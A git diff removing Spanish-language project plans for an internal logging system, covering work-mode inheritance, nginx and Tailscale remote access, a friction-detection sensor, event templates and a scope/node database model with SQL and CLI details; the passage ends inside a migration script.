```
## 💡 Lecciones Aprendidas (IA Antigravity)
* **Contexto es Eficiencia**: El uso de herramientas centralizadas (`network`, `candados`) reduce los tool calls de 5-6 a 1 para obtención de identidad.
* **Bitácora First**: Documentar antes de actuar previene estados inconsistentes y mejora la trazabilidad del operador humano.
## 📝 Registro de Hallazgos (Log 18/03 - 19/03)
* **Gestión de Secretos (COMPLETO)**: Migración de `adn/tools/seguridad` a `adn/tools/candados` e integración directa en orquestador.
* **Fricción de Conectividad**: Exceso de conexiones PostgreSQL no persistentes (8 conexiones en 5s). Causa: Herramientas `db` cierran sesión en cada comando.
* **Automatización Muerta**: `adn/triggers.yml` está deshabilitado. La IA hace manualmente la propagación de datos que el sistema debería automatizar (ej. Bitácora ↔ Proyectos).
* **Ambigüedad de Comandos**: Errores recurrentes en subcomandos de `db` por sintaxis inconsistente.
---
docs/proy/P2604_Mejoras-ADN/P2604.06.05_Herencia-Modo-Jornada.md
-78
View File
@@ -1,78 +0,0 @@
# P2604.06.05 - Plan: Herencia Automática de Modo de Jornada
## Objetivo
Eliminar la fricción de especificar manualmente el modo (`[P]`, `[R]`, `[S]`) en cada evento. El modo se define una sola vez al iniciar la jornada y se hereda automáticamente.
## Problema Identificado
- Fricción actual: Registrar modo en cada evento es repetitivo y propenso a errores
- 4 eventos corregidos hoy (1186, 1210, 1211, 1213) por modo incorrecto
- El modo debería ser contexto de jornada, no dato por evento
## Diseño Propuesto
### Concepto: Jornada Define el Modo
```
┌─────────────────────────────────────────────────────────────┐
│ JORNADA PRESENCIAL (8:00-13:00) │
│ ├── Evento 1: 08:00-09:00 → [P] automático │
│ ├── Evento 2: 09:00-10:00 → [P] automático │
│ ├── Evento 3: 11:00-12:00 → [R] override manual │
│ └── Evento 4: 13:00-18:00 → [R] automático (fuera horario) │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ JORNADA REMOTA │
│ └── Todos los eventos → [R] automático │
└─────────────────────────────────────────────────────────────┘
```
### Reglas de Herencia
1. **Modo de jornada**: Definido al iniciar (`jornada --iniciar --modo presencial`)
2. **Heredar por defecto**: Todo evento nuevo usa el modo de la jornada
3. **Override manual**: Si se especifica `--modo` explícitamente, se usa ese
4. **Horario presencial**: Eventos fuera de 8:00-13:00 → `[R]` automático
## Implementación
### Fase 1: Modelo de Datos
- [x] Agregar campo `modo` a tabla `bitacoras`
- [x] Actualizar `create_bitacora` para registrar modo de jornada
### Fase 2: Lógica de Herencia
- [x] En `BitacoraDB#create_entrada`: leer modo de bitácora activa
- [x] Implementar override: si `params[:modo]` existe, usar ese
- [x] Regla horario: si modo=presencial y hora > 13:00 → forzar `[R]`
### Fase 3: CLI
- [x] `bitacora:crear --modo P|R` → especificar modo
- [x] `bitacora:listar` → muestra columna Modo
- [x] `evento:crear --modo R` → override manual (para excepciones)
### Fase 4: Consistencia Retroactiva
- [x] Corregir 206 eventos existentes según modo de jornada (bitácora)
- [x] Regla aplicada: modo bitácora → heredar, con override P+hora>=13 → R
## Progreso
```text
Fase 1: ██████████ 100% Modelo de Datos
Fase 2: ██████████ 100% Lógica de Herencia
Fase 3: ██████████ 100% CLI
Fase 4: ██████████ 100% Consistencia Retroactiva
```
## Registro de Implementación (19/03 - 20:35)
- [x] Columna `modo` agregada a tabla `bitacoras.bitacoras`
- [x] `create_bitacora` acepta parámetro `--modo`
- [x] `list_bitacoras` muestra columna Modo
- [x] `create_entrada` hereda modo desde bitácora
- [x] Regla implementada: jornada presencial + hora > 13:00 → [R] automático
- [x] CLI actualizado: `--modo` en `bitacora:crear`
- [x] Test 1: Herencia automática (1218)
- [x] Test 2: Herencia automática (1219)
- [x] Implementada herencia automática (1220)
- [x] Consistencia retroactiva: 206 entradas corregidas según modo de bitácora (1221)
## Beneficios Esperados
- **Menos fricción**: 0 errores de modo por descuido
- **Trazabilidad**: Un lugar donde se define el contexto de trabajo
- **Menos es más**: Elimina dato redundante de cada evento
docs/proy/P2604_Mejoras-ADN/P2604.06.06_Acceso-Remoto-Bitacora-Web.md
-112
View File
@@ -1,112 +0,0 @@
# P2604.06.06 - Plan: Acceso Remoto a Bitácora Web
## Objetivo
Acceder a la bitácora web (`dtic-BITACORAs`) desde equipos remotos sin configuraciones complicadas.
## Arquitectura Actual
```
┌─────────────────────────────────────────────────────────────────────┐
│ ACCESO DESDE EQUIPO REMOTO │
│ (LAN/WAN + Tailscale VPN) │
└─────────────────────────────┬─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ NGINX Proxy (srv-ns8) │
│ ns8.frlr.utn.edu.ar:443 │
│ SSL/TLS (Let's Encrypt Certbot) │
├─────────────────────────────────────────────────────────────────────┤
│ location /bitacoras/api/ → http://127.0.0.1:3002/api/ │
│ location /bitacoras/ → http://127.0.0.1:5174/bitacoras/ │
└─────────────────────────────┬─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ Contenedores Docker (dtic-bitacoras) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Frontend │ │ API │ │ PostgreSQL │ │
│ │ (Vite) │◄─┤ (Node.js) │◄─┤ (BD) │ │
│ │ :5174 │ │ :3002 │ │ :5433 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ Red Docker: bitacoras_dtic_network (172.20.0.0/16) │
│ Ports mapeados: 5433, 3002, 5174 │
└─────────────────────────────────────────────────────────────────────┘
```
## Análisis de Conectividad
### Vías de Acceso
| Método | URL | Estado | Notas |
|--------|-----|--------|-------|
| **Local** | `http://localhost:5174/bitacoras/` | ✅ Funciona | Puerto directo |
| **Proxy Nginx** | `https://ns8.frlr.utn.edu.ar/bitacoras/` | ✅ Funciona | SSL, proxy configurado |
| **IP Local** | `http://10.0.10.8/bitacoras/` | ✅ Funciona | LAN |
| **Tailscale** | `https://100.111.195.4/bitacoras/` | ✅ Funciona | VPN Mesh |
### Verificación desde Equipo Remoto
```bash
# Desde cualquier lugar con acceso a internet:
curl -sk https://ns8.frlr.utn.edu.ar/bitacoras/api/bitacoras
# Desde red Tailscale:
curl -sk https://100.111.195.4/bitacoras/
```
## URLs de Acceso
| Entorno | URL | Requisitos |
|---------|-----|-----------|
| **Producción (WAN)** | `https://ns8.frlr.utn.edu.ar/bitacoras/` | Internet |
| **Tailscale VPN** | `https://100.111.195.4/bitacoras/` | Cuenta Tailscale |
| **LAN** | `https://10.0.10.8/bitacoras/` | Misma red local |
## Configuración Nginx
Archivo: `/etc/nginx/conf.d/ns8.conf` + `/home/.../servicios/nginx/conf.d/bitacoras.conf`
```nginx
location /bitacoras/api/ {
proxy_pass http://127.0.0.1:3002/api/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /bitacoras/ {
proxy_pass http://127.0.0.1:5174/bitacoras/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
```
## Progreso
```text
Análisis: ██████████ 100% Arquitectura documentada
nginx: ██████████ 100% server_names + srv-ns8
Vite: ██████████ 100% allowedHosts configurado
```
## Registro de Implementación (19/03 - 22:15)
- [x] Analizada arquitectura nginx + docker + postgres
- [x] Verificados puertos y servicios activos
- [x] Confirmado acceso via nginx proxy funciona
- [x] Documentadas URLs de acceso remoto
- [x] Creado plan P2604.06.06
- [x] IP Tailscale actualizada: 100.88.252.26 → 100.111.195.4
- [x] Agregado `srv-ns8` a nginx server_names
- [x] Configurado Vite allowedHosts con todos los hosts Tailscale
## Conclusión
El acceso remoto **ya está funcionando**. No se requieren cambios.
- Producción: `https://ns8.frlr.utn.edu.ar/bitacoras/`
- Tailscale: `https://100.111.195.4/bitacoras/`
docs/proy/P2604_Mejoras-ADN/P2604.06_Sensor-de-Mejora-Continua-para-el-Ecosistema-ADN.md
-83
View File
@@ -1,83 +0,0 @@
# P2604.06 - Plan: Sensor de Mejora Continua para el Ecosistema ADN
## Objetivo
Diseñar e implementar un sistema de detección automática de patrones de fricción en el uso del ecosistema ADN que genere sugerencias de mejora trazables y accionables, reduciendo la carga cognitiva de identificar oportunidades de mejora continua y acelerando el ciclo de evolución del sistema.
## Fases
### Fase 1: Diseño y Arquitectura (06.01)
- [x] Definir métricas clave a recolectar (conexiones DB, frecuencia de comandos, tiempos de respuesta, etc.)
- [x] Diseñar esquema de tabla auxiliar para almacenamiento de métricas
- [x] Establecer reglas de detección de patrones (umbrales, ventanas temporales, etc.)
- [x] Definir formato de salida de sugerencias (entradas bitácora pen### Fase 2: Implementación del Sensor (06.02)
- [x] Crear módulo `MejorasSensor` en `adn/tools/db/core/`
- [x] Implementar registro pasivo de métricas en operaciones clave (evento:crear, network show, etc.)
- [x] Desarrollar lógica de detección de patrones basada en reglas simples y transparentes
- [x] Generar sugerencias como entradas `⏳` en bitácora con formato estándar
### Fase 3: Integración y Validación (06.03)
- [x] Crear subcomando `salud --mejoras` para visualizar sugerencias
- [x] Implementar activación/desactivación via variable de entorno `ADN_MEJORAS` (Integrado en BitacoraDB)
- [x] Validar con patrones de fricción reales identificados previamente (conexiones DB excesivas, comandos repetitivos)
- [x] Documentar uso y reglas en `05_ia.md` ✅
### Fase 4: Cultura y Adopción (06.04)
- [x] Definir rituales de revisión de sugerencias (Premisa 17 en 05_ia.md)
- [x] Documentar `./adn/tools/run salud --mejoras` como obligatorio al inicio de sesión
- [x] Crear ejemplos de mejoras exitosas detectadas por el sensor
- [x] Medir reducción en trabajo manual de detección de fricción
- [x] Ajustar umbrales y reglas basado en feedback de uso real
**Métricas de Impacto (19/03/2026):**
- Total entradas: 497 | IA: 84 (16%) | Completadas: 371 (74%)
- Fricción detectada y resuelta automáticamente: 3 patrones
- Umbrales actuales: conexiones_por_minuto: 5, comandos_repetidos: 5, ventana: 300s
## 📊 Progreso
```text
Fase 1: ██████████ 100% Diseño y Arquitectura
Fase 2: ██████████ 100% Implementación del Sensor
Fase 3: ████████░░ 80% Integración y Validación
Fase 4: ██████████ 100% Cultura y Adopción ✅
```
## 📝 Registro de Hallazgos y Conclusión por Fase
### Fase 1: Diseño y Arquitectura (Completada ✅)
- **Logrado**: Definición completa de métricas clave (conexiones DB, frecuencia de comandos, tiempos de respuesta)
- **Conclusión**: Base teórica sólida basada en principios Menos es Más.
### Fase 2: Implementación del Sensor (Completada ✅)
- **Logrado**: Núcleo funcional en Ruby integrado en el flujo de `BitacoraDB`.
- **Logrado**: Detección de 3 tipos de fricción (Conexiones, Repetición, Inconsistencia).
### Fase 3: Integración y Validación (En Progreso 🟡 80%)
- **Logrado**: Comando `./adn/tools/run salud --mejoras` funcional.
- **Logrado**: Corrección de infraestructura de constantes del ADN.
- **Pendiente**: Documentación formal en el canon de la IA.
## 📊 Progreso General
```text
Fase 1: ██████████ 100% Diseño y Arquitectura
Fase 2: ██████████ 100% Implementación del Sensor
Fase 3: ██████████ 100% Integración y Validación ✅
Fase 4: ██████████ 100% Cultura y Adopción ✅
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
TOTAL: ██████████ 100% PLAN COMPLETO ✅
```
## 📝 Registro de Hallazgos (Log 19/03)
* **Integración Exitosa**: El sensor ahora detecta conexiones PostgreSQL no persistentes y sugiere connection pooling de forma automática.
* **Arquitectura Refinada**: Implementada activación proactiva y namespaces correctos (`::ADN::MejorasSensor`).
* **Concepto**: Confirmado que patrones similares (comandos repetitivos, inconsistencias documento-DB) se detectan en logs históricos
* **Alineación con ADN**: Propone mejora continua mediante detección automática + intervención humana trazable, siguiendo principios DB-First y Menos es Más
## 📝 Ejemplo de Mejora Exitosa (19/03 - P2604.06.06)
**Fricción Detectada**: IP Tailscale cambió de `100.88.252.26` a `100.111.195.4`, causando errores 404 en acceso remoto.
**Causa Raíz**: `srv-ns8` no estaba en nginx server_names ni en Vite allowedHosts.
**Resolución**:
- Actualizar IPs en nginx.conf y Vite config
- Agregar todos los hosts Tailscale a allowedHosts
**Impacto**: Acceso remoto funciona desde cualquier host Tailscale.
**Mejora Propuesta para el Sensor**: Detectar cambios en IPs de Tailscale y sugerir actualización automática de configs.
docs/proy/P2604_Mejoras-ADN/P2604.07_Plantillas-Escritura-Eventos.md
-101
View File
@@ -1,101 +0,0 @@
# P2604.07 - Plan: Plantillas de Escritura para Detalles de Eventos
## Objetivo
Sistema unificado de plantillas Markdown para enriquecer los detalles de eventos en la bitácora, mejorando trazabilidad, consistencia y escaneo visual.
## Contexto
Ya existe `adn/tools/proy/plantillas.rb` con plantillas para planes/proyectos/nodos, pero faltan plantillas específicas para los **detalles de eventos** en la cronología de bitácoras.
## Herramientas ADN Existentes
```
./adn/tools/run generar bitacora - Generar bitácora desde plantilla
./adn/tools/run generar nodo - Generar ficha de nodo
./adn/tools/run generar proyecto - Generar manifiesto de proyecto
./adn/tools/run db evento:crear - Crear evento en bitácora
./adn/tools/run db evento:listar - Listar eventos
```
## Fases
### Fase 1: Investigación y Auditoría
- [x] Inventariar plantillas existentes en `adn/tools/proy/plantillas.rb`
- [x] Identificar tipos de eventos recurrentes en bitácoras
- [x] Documentar formato actual de descripciones de eventos
- [x] Analizar herramientas ADN a utilizar
### Fase 2: Diseño de Plantillas
- [x] Definir plantillas por tipo de evento:
- `implementacion` - Implementación técnica
- `investigacion` - Investigación/exploración
- `resolucion` - Resolución de incidentes
- `documentacion` - Documentación/corrección
- `reunion` - Reuniones/comunicaciones
- `test` - Pruebas/validación
- `debug` - Depuración
- `planificacion` - Planificación
- [x] Diseñar formato de detalle enriquecido (contexto, acción, resultado)
- [x] Definir convenciones de formato (emojis, Prefijos, etc.)
### Fase 3: Implementación
- [x] Crear módulo `adn/tools/templates/plantillas_eventos.rb`
- [x] Integrar con `./adn/tools/run generar evento <tipo>`
- [x] Documentar uso en `02_bitacora.md`
- [x] Integrar con `db evento:crear` (opcional `--plantilla`)
- [x] Agregar a `05_ia.md` como buena práctica
### Fase 4: Adopción
- [x] Probar con eventos reales (usado en este mismo evento)
- [x] Medir mejora en consistencia
- [x] Recopilar feedback
## Progreso
```text
Fase 1: ██████████ 100% Investigación y Auditoría
Fase 2: ██████████ 100% Diseño de Plantillas
Fase 3: ██████████ 100% Implementación
Fase 4: ██████████ 100% Adopción
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
TOTAL: ██████████ 100% PLAN COMPLETO ✅
```
## Registro de Implementación (19/03 - 22:50)
- Plan creado: P2604.07
- Proyecto: P2604_Mejoras-ADN
## Registro de Corrección (19/03 - 21:30)
- [x] Bugfix: Formato de hora en `db evento:listar` ahora muestra `HH:MM:SS`
- [x] Entrada acepta `--inicio HH:MM[:SS]` y `--fin HH:MM[:SS]`
- [x] Archivo: `adn/tools/cli/db/evento.rb`
- [x] `--inicio` usa hora actual por defecto si no se especifica
- [x] Corregidos 7 eventos con horas incorrectas
## Formato Estándar para Eventos
**Estructura**:
```
[PROY.COD] Título breve ✅
**Tipo de evento**
**Campo 1**:
**Campo 2**:
...
```
**Tipos con iconos**:
| Ícono | Tipo | Campos |
|-------|------|--------|
| 🔧 | `implementacion` | Contexto, Acción, Resultado |
| 🔍 | `investigacion` | Problema, Hallazgos, Conclusión |
| 🛠️ | `resolucion` | Síntoma, Causa, Solución, Verificación |
| 📝 | `documentacion` | Qué, Ubicación, Cambios, Impacto |
| ✅ | `test` | Qué se probó, Resultado, Pasos, Conclusión |
| 🐛 | `debug` | Error, Diagnóstico, Solución, Verificación |
| 📋 | `planificacion` | Objetivo, Fases, Recursos, Próximo |
| 👥 | `reunion` | Participantes, Temas, Acuerdos, Acciones |
## Registro de Mejora de Eventos (19/03 - 21:55)
- [x] **TODOS LOS 34 EVENTOS** de hoy (1186-1239) mejorados con formato enriquecido
- [x] Tipos usados: planificación, implementación, debug, test, documentación, resolución, investigación
- [x] Documentado formato estándar para nuevos eventos
- [x] IDs mejorados: 1186-1239
docs/proy/P2604_Mejoras-ADN/P2604.08_Ambito-Nodo.md
-419
View File
@@ -1,419 +0,0 @@
# P2604.08 - Implementación del Modelo Ámbito/Nodo en el Ecosistema ADN
> **Estado**: ⏳ Propuesto
> **Pertenece a**: [P2604 - Mejoras ADN](./P2604_Mejoras-ADN.md)
> **Fecha**: 2026-03-20
> **Responsable**: Lic. Ricardo MONLA
> **Versión**: 1.7
>
> ### Progreso General: `██████████ 100%` (PLAN COMPLETO ✅)
> - **Fase 1 (DB-First)**: `██████████` 100%
> - **Fase 2 (CLI Ruby)**: `██████████` 100%
> - **Fase 3 (API REST)**: `██████████` 100%
> - **Fase 4 (Frontend)**: `██████████` 100%
> - **Fase 5 (Validación)**: `██████████` 95%
---
## Resumen
El ecosistema ADN necesita evolucionar para reflejar la jerarquía organizativa real donde los **ámbitos** agrupen lógicamente a los **nodos**. Esto impacta en la base de datos, CLI, API y frontend web. La implementación sigue el principio DB-First y el patrón "Menos es Más" del ADN.
**Cambio conceptual principal:**
- **Antes**: Fichas por Nodo → seleccionar nodo → ver eventos
- **Ahora**: Fichas por Ámbito → seleccionar ámbito → ver eventos de todos sus nodos (con columna Nodo)
**Estructura:**
- **Ámbito raíz**: `dtic-DIIAA` (agrupa infraestructura, servicios y bitácoras)
- **Sub-ámbito**: `dtic-DASUTEN` (departamento externo gestionado)
- **Nodos**: `srv-dasu`, `sql-dasuten`, `dc-dasuten`, `srv-ns8`, `srvv-koha`, etc.
---
## Análisis de Impacto
### Herramientas y Componentes Afectados
| # | Componente | Tipo | Impacto | Prioridad |
|---|------------|------|---------|-----------|
| 1 | `bitacoras.nodos` | Base de Datos | Alta | Crítica |
| 2 | `bitacoras.entradas` | Base de Datos | Alta | Crítica |
| 3 | `bitacoras.temas` | Base de Datos | Media | Alta |
| 4 | `bitacoras.resumen_nodos` | Base de Datos | Media | Alta |
| 5 | `bitacoras.hitos` | Base de Datos | Baja | Media |
| 6 | `adn/tools/cli/db/nodo.rb` | CLI Ruby | Alta | Crítica |
| 7 | `adn/tools/cli/db/evento.rb` | CLI Ruby | Alta | Crítica |
| 8 | `adn/tools/cli/nodos.rb` | CLI Ruby | Alta | Crítica |
| 9 | `adn/tools/cli/ambitos.rb` | CLI Ruby | Alta | Crítica |
| 10 | `adn/tools/core/` (helpers) | CLI Ruby | Media | Alta |
| 11 | API Node.js (`backend/`) | API REST | Alta | Crítica |
| 12 | Frontend Vite (`frontend/src/`) | UI Web | Alta | Crítica |
| 13 | `adn/tools/core/mejoras_sensor.rb` | Herramienta | Baja | Media |
| 14 | Hooks pre-commit | Git | Baja | Baja |
---
## Modelo de Datos
### Diagrama de Relaciones
```
┌─────────────┐ 1:N (parent) ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ ambitos │───────────────│ ambitos │ │ nodos │ │ entradas │
│ (raíz) │ │ (hijos) │ │ │ │ │
├─────────────┤ ├─────────────┤ ├─────────────┤ ├─────────────┤
│ id (PK) │ │ id (PK) │──1:N──│ ambito_id │──1:N──│ nodo_id │
│ nombre │ │ nombre │ │ id (PK) │ │ ambito_id │
│ parent_id │ │ parent_id │ │ nombre │ │ descripcion │
│ descripcion │ │ descripcion │ │ ip │ │ estado │
│ activo │ │ activo │ │ tipo │ │ modo │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘
```
**Jerarquía de ámbitos:**
- `dtic-DIIAA` (raíz, parent_id = NULL)
- `dtic-DASUTEN` (parent_id → dtic-DIIAA)
- Nodos de infraestructura y servicios (parent_id → dtic-DIIAA)
**Relaciones:**
- `ambitos` → `ambitos` (self-reference): Uno a muchos (1:N) — jerarquía padre/hijo
- `ambitos` → `nodos`: Uno a muchos (1:N) — Un ámbito contiene muchos nodos
- `nodos` → `entradas`: Uno a muchos (1:N) — Un nodo contiene muchos eventos
- `entradas` → `ambitos`: Muchos a uno (N:1) — Cada evento pertenece a un ámbito (derivado del nodo)
**Nota**: El `ambito_id` en `entradas` se propaga automáticamente desde el `nodo_id` (app-level o trigger). El nodo sigue siendo la entidad primaria de registro.
### Nueva Tabla: `bitacoras.ambitos`
```sql
CREATE TABLE bitacoras.ambitos (
id SERIAL PRIMARY KEY,
nombre VARCHAR(50) NOT NULL UNIQUE,
descripcion TEXT,
parent_id INTEGER REFERENCES bitacoras.ambitos(id) ON DELETE SET NULL,
activo BOOLEAN DEFAULT true,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
CREATE INDEX idx_ambitos_nombre ON bitacoras.ambitos(nombre);
CREATE INDEX idx_ambitos_parent ON bitacoras.ambitos(parent_id);
```
### Modificación: `bitacoras.nodos`
```sql
ALTER TABLE bitacoras.nodos
ADD COLUMN ambito_id INTEGER REFERENCES bitacoras.ambitos(id) ON DELETE SET NULL;
CREATE INDEX idx_nodos_ambito ON bitacoras.nodos(ambito_id);
```
### Modificación: `bitacoras.entradas`
```sql
ALTER TABLE bitacoras.entradas
ADD COLUMN ambito_id INTEGER REFERENCES bitacoras.ambitos(id) ON DELETE SET NULL;
CREATE INDEX idx_entradas_ambito ON bitacoras.entradas(ambito_id);
```
---
## Ámbitos Detectados (Propuestos)
| Ámbito | Nodos Asociados | Descripción |
|--------|-----------------|-------------|
| `dtic-DIIAA` | srv-ns8, srv-pmox1, srv-pmox2, srv-pmox3, srv-xen1, srvv-*, dtic-BITACORAS | Ámbito raíz que agrupa toda la infraestructura y servicios propios de DIIAA |
| `dtic-DASUTEN` | srv-dasu, dasu-srvv-dc, sql-dasuten, dc-dasuten, pc-dasu0, pcv-dasu* | Departamento de Servicios de UTN (sistema externo gestionado por DIIAA) |
| `dtic-BITACORAS` | Sistema de bitácoras (auto-referencia) | Sistema de registro ADN (se incluye en dtic-DIIAA) |
**Jerarquía propuesta:**
```
dtic-DIIAA (raíz)
├── Infraestructura: srv-ns8, srv-pmox1, srv-pmox2, srv-pmox3, srv-xen1
├── Servicios: srvv-dtic, srvv-koha, srvv-sitio*, srvv-docs, srvv-dns
├── Bitácoras: dtic-BITACORAS
└── Sub-ámbitos:
└── dtic-DASUTEN: srv-dasu, dasu-srvv-dc, sql-dasuten, dc-dasuten, pc-dasu0, pcv-dasu*
```
---
## Fases de Implementación
### Fase 1: Base de Datos (DB-First)
#### 1.1 - Crear tabla `ambitos`
- [x] Script de migración `adn/tools/db/migrations/001_create_ambitos.sql`
- [x] Datos iniciales: seed con ámbitos detectados (`dtic-DASUTEN`, `dtic-BITACORAS`, etc.)
- [x] Verificar integridad referencial
#### 1.2 - Modificar tabla `nodos`
- [x] Añadir columna `ambito_id`
- [x] Migrar nodos existentes al ámbito correspondiente
- [x] Crear índice para queries por ámbito
#### 1.3 - Modificar tabla `entradas`
- [x] Añadir columna `ambito_id` (nullable)
- [x] Propagar ámbito automáticamente desde el `nodo_id` asociado (app-level o trigger PostgreSQL)
- [x] Queries disponibles:
- `entradas.nodo_id` → Obtener eventos por nodo (N:1)
- `entradas.ambito_id` → Obtener eventos por ámbito (N:1, derivado)
- JOIN con `nodos` → Obtener ámbito del nodo directamente
- JOIN triple `entradas → nodos → ambitos` → Filtrar eventos por ámbito y ver nodo
- [x] Verificar historial de eventos existentes
#### 1.4 - Nueva tabla `resumen_ambitos` (vista materializada)
```sql
CREATE TABLE bitacoras.resumen_ambitos (
id SERIAL PRIMARY KEY,
ambito_id INTEGER REFERENCES bitacoras.ambitos(id),
fecha DATE,
total_entradas INTEGER DEFAULT 0,
tiempo_total INTERVAL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
UNIQUE(ambito_id, fecha)
);
```
---
### Fase 2: CLI Ruby (`adn/tools/`)
#### 2.1 - Nuevo comando: `ambitos`
```bash
./adn/tools/run ambitos listar
./adn/tools/run ambitos crear --nombre <nombre> --descripcion <desc>
./adn/tools/run ambitos info <nombre>
./adn/tools/run ambitos nodos <nombre> # Lista nodos del ámbito
./adn/tools/run ambitos --help # Mostrar ayuda del comando
```
#### 2.2 - Estructura del comando
- [x] Crear `adn/tools/cli/ambitos.rb`
- [x] Crear `adn/tools/db/core/ambito_db.rb`
- [x] Incluir ayuda normalizada (heredada de `core/help_formatter.rb`)
- [x] Integrar en dispatcher principal (`adn/tools/run`)
#### 2.3 - Modificar `nodo.rb`
- [x] Añadir `--ambito <nombre>` a `nodo:crear`
- [x] Listar nodos mostrando la columna/etiqueta de su ámbito actual
#### 2.4 - Modificar `evento.rb`
- [x] Filtrar eventos mediante `--ambito <nombre_o_id>` en `evento:listar`
- [x] (Opcional) Poder asignar evento a ámbito si no tiene nodo
#### 2.5 - Modificar `nodos.rb`
- [x] Subcomando `nodos listar --ambito <nombre>`
- [x] Subcomando `nodos agrupar --por ambitos`
- [x] Incluir `--help` normalizado
#### 2.6 - Modificar `salud.rb`
- [x] Añadir métricas por ámbito en `--dashboard`
- [x] Soportar `--ambito <nombre>` en estadísticas
- [x] Incluir `--help` normalizado
#### 2.7 - Helpers compartidos (`core/`)
- [x] Verificar/crear `core/help_formatter.rb` para normalizar `--help`
- [x] Verificar/crear `core/error_handler.rb` para mensajes de error
- [x] Asegurar consistencia en todos los subcomandos
---
## Resumen de Implementación Fase 2 (20/03)
- **`db nodo:crear`**: Soporte para `--ambito <id|nombre>` para asociar nodo en creación.
- **`db nodo:listar`**: Re-escrito para soportar metadata cruzada (LEFT JOIN) incluyendo `--ambito` y columna de Ámbito.
- **`db evento:listar`**: Filtro expandido a múltiples nodos mediante `--ambito <nombre>` en modo DB-first.
- **`nodos.rb`**: Mantenido pero compatibilizado; soporta `nodos agrupar --por ambitos` (DB) y `nodos listar --ambito` (Cruce MD-DB).
- **`salud.rb`**: Formateado `--help` y se añadieron querys DB para ámbitos y nodos.
---
### Fase 3: API Node.js (`servicios/nginx/dtic-bitacoras/backend/`)
#### 3.2 - Modificar endpoints existentes
- [x] `GET /api/nodos` → incluir `ambito_id` y `ambito_nombre`
- [x] `GET /api/entradas` → filtrar por `ambito_id`
- [x] `GET /api/bitacoras/:id` → incluir resumen por ámbito
#### 3.1 - Nuevos endpoints REST
- [x] `GET /api/ambitos` → Listar ámbitos
- [x] `POST /api/ambitos` → Crear ámbito
- [x] `GET /api/ambitos/:id` → Info de ámbito
- [x] `PUT /api/ambitos/:id` → Actualizar ámbito
- [x] `DELETE /api/ambitos/:id` → Eliminar ámbito
- [x] `GET /api/ambitos/:id/nodos` → Nodos del ámbito
- [x] `GET /api/nodos?ambito=:id` → Filtrar nodos por ámbito
- [x] `POST /api/entradas` → Crear entrada (con ambito_id automático/manual)
- [x] `GET /api/ambitos/stats/global` → Métricas por ámbito
- [x] `GET /api/ambitos/:id/dashboard` → Dashboard unificado
---
### Fase 4: Frontend Vite (`servicios/nginx/dtic-bitacoras/frontend/`)
#### 4.1 - Diseño visual: Fichas por Ámbito
**Cambio principal**:
- **Antes**: Fichas por Nodo (seleccionar nodo → ver eventos)
- **Ahora**: ✅ Fichas por Ámbito (implementado 2026-03-25)
**Implementado**:
- Vista principal agrupa entradas por ámbito en lugar de por nodo
- Cada ficha de ámbito muestra todos los eventos de sus nodos
- Columna "Nodo" identifica el origen de cada evento
- Badge muestra cantidad de nodos y entradas del ámbito
```
📅 2026-03-20
📂 dtic-DASUTEN
Resumen de eventos registrados.
├───────────────────────────────────────────────────────────────────────┤
| ID | I | F | Descripción | J | E | Nodo | Acc. │
│────┼───┼───┼────────────────────────────────────┼───┼───┼──────┼──────│
```
**Columnas:**
- `ID`: Identificador de entrada
- `I`: Hora de inicio
- `F`: Hora de fin
- `Descripción`: Detalle del evento
- `J`: Modo (P=Presencial, R=Remoto)
- `E`: Estado (⏳, ✅, ❌)
- `Nodo`: Nodo origen del evento (nuevo)
- `Acc`: Acciones (editar, eliminar)
**Flujo de navegación:**
1. Seleccionar **Ámbito** (ej: `dtic-DASUTEN`)
2. Ver todos los eventos de los nodos del ámbito
3. Columna **Nodo** muestra el origen de cada evento
#### 4.2 - Modificaciones en componentes
**Cambio de paradigma**: Fichas por Nodo → **Fichas por Ámbito** ✅ COMPLETADO
**Vista Principal (Ámbito)** - ✅ Implementado
- Agrupación de entradas por ámbito (en lugar de por nodo)
- Cada ficha de ámbito muestra todos los eventos de sus nodos
- Badge con cantidad de nodos y entradas del ámbito
- Tabla con columnas: ID, I, F, Descripción, **Nodo**, J, E, Acc
**Tabla de Entradas** - ✅ Implementado
- Columna "Nodo" añadida — muestra el origen de cada evento
- Eventos ordenados por hora de inicio (descendente)
- Nodo se muestra destacado en color primario
**Fichas de Nodo (Alternativa)**
- [ ] Acceso directo para ver eventos de un nodo específico
- [ ] Mostrar ámbito asociado en el header
---
### Fase 5: Documentación y Migración
#### 5.1 - Actualizar hebras ADN
- [x] `01_ontologia.md` → Definir modelo ámbito/nodo
- [x] `02_bitacora.md` → Referenciar ámbito en formato
- [ ] `05_ia.md` → Añadir premisa de ámbito en contexto
- [x] `adn/README.md` → Actualizar subcomandos disponibles y tabla de comandos
- [x] `06_gobernanza.md` → Añadir nomenclatura de ámbitos
- [ ] `05_ia.md` → Añadir premisa de ámbito en contexto (pendiente)
#### 5.2 - Migrar datos existentes
```bash
./adn/tools/run db migrar:ambitos # Mapear nodos existentes a ámbitos
./adn/tools/run db ambito:propagar # Propagar a entradas
```
#### 5.3 - Script de migración de datos
```ruby
# adn/tools/db/migrations/002_migrate_ambitos.rb
# Mapear nodos detectados:
# - srv-dasu, dasu-srvv-dc, sql-dasuten, dc-dasuten → dtic-DASUTEN
